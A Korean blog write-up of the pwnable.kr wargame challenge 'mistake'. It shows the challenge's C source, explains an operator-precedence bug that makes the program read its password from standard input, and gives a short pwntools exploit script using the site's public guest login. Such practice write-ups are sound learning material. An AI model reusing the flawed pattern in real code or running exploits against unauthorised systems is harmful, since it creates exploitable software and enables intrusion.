WarGame/pwnable.kr

mistake

cyanhe_wh 2020. 12. 2. 16:50
728x90
반응형

소스 코드

#include <stdio.h>
#include <fcntl.h>

#define PW_LEN 10
#define XORKEY 1

void xor(char* s, int len){
        int i;
        for(i=0; i<len; i++){
                s[i] ^= XORKEY;
        }
}

int main(int argc, char* argv[]){

        int fd;
        if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

        printf("do not bruteforce...\n");
        sleep(time(0)%20);

        char pw_buf[PW_LEN+1];
        int len;
        if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

        char pw_buf2[PW_LEN+1];
        printf("input password : ");
        scanf("%10s", pw_buf2);

        // xor your input
        xor(pw_buf2, 10);

        if(!strncmp(pw_buf, pw_buf2, PW_LEN)){
                printf("Password OK\n");
                system("/bin/cat flag\n");
        }
        else{
                printf("Wrong Password\n");
        }

        close(fd);
        return 0;
}

코드를 살펴 보면 password파일을 열어 읽고, 입력 값을 받아 xor 한 다음 password 파일에 읽은 값하고, 비교해 같으면 flag 값을 출력한다.
코드 중에서 잘못된 부분이 존재한다.

if(fd=open("/home/mistake/password",O_RDONLY,0400) < 0){
                printf("can't open password %d\n", fd);
                return 0;
        }

if 문안에 조건을 보면 =< 를 사용한다. 그런데 연산자 우선순위를 보면 = 보다 < 가 우선이다.

 

그러므로 open 한 결과 값이 fd에 넣고, 비교하는 것이 아니라 open의 결과 값을 0과 비교 후,
그 값을 fd에 넣는다. 그러므로 파일이 오픈 되면 0보다 항상 크므로 < 의 결과는 항상 0 이다.
즉, fd의 값은 0 이다.

if(!(len=read(fd,pw_buf,PW_LEN) > 0)){
                printf("read error\n");
                close(fd);
                return 0;
        }

그러므로 read 함수를 이용해 fd의 값을 읽을 때, 항상 0이므로 사용자 입력 값을 받는다.
결국에는 사용자가 2번의 입력 값을 받는다. 그러므로 쉽게 조작하여 flag 값을 얻을 수 있다!

공격 코드

from pwn import *

s = ssh(user='mistake', host='pwnable.kr', port=2222, password='guest')
p = s.process('./mistake')

print p.recvuntil('\n')

pause()

pass1 = 'b' * 10
p.send(pass1)

pass2 = 'c' * 10
print p.sendlineafter(': ', pass2)

print p.recvuntil('\n')
print p.recvuntil('\n')

 

완료!!

728x90
반응형

'WarGame > pwnable.kr' 카테고리의 다른 글

input  (0) 2021.01.05
leg  (0) 2021.01.05
coin1  (0) 2020.12.23
shellshock  (0) 2020.12.02